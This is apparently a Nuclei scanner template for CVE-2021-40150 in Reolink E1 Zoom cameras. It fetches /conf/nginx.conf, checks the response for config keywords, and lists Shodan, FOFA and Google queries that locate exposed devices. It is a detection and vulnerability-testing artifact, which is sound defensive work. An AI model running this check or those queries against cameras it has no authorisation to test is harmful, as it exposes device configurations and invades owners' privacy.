id: CVE-2021-40150

info:
  name: Reolink E1 Zoom Camera <=3.0.0.716 - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    Reolink E1 Zoom camera through 3.0.0.716 is susceptible to information disclosure. The web server discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. An attacker with network-level access to the camera can can download the entire NGINX/FastCGI configurations by querying the /conf/nginx.conf or /conf/fastcgi.conf URI.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially compromising user privacy and security.
  remediation: |
    Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the information disclosure vulnerability (CVE-2021-40150).
  reference:
    - https://dl.packetstormsecurity.net/2206-exploits/reolinke1config-disclose.txt
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40150.txt
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40150
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40150
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40150
    cwe-id: CWE-552
    epss-score: 0.34226
    epss-percentile: 0.97052
    cpe: cpe:2.3:o:reolink:e1_zoom_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reolink
    product: e1_zoom_firmware
    shodan-query:
      - http.title:"Reolink"
      - http.title:"reolink"
    fofa-query: title="reolink"
    google-query: intitle:"reolink"
  tags: cve2021,cve,reolink,camera,exposure,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/conf/nginx.conf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "server"
          - "listen"
          - "fastcgi"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e9c1cc58264fd120f8b19e68031a9576387fcd0c64dcc0a1ad9dfa2949eca55702200149cf68a7dcf1c3695a9ac9b886f27ec92b94487d4240f792821401f37baafa:922c64590222798bb761d5b6d8e72950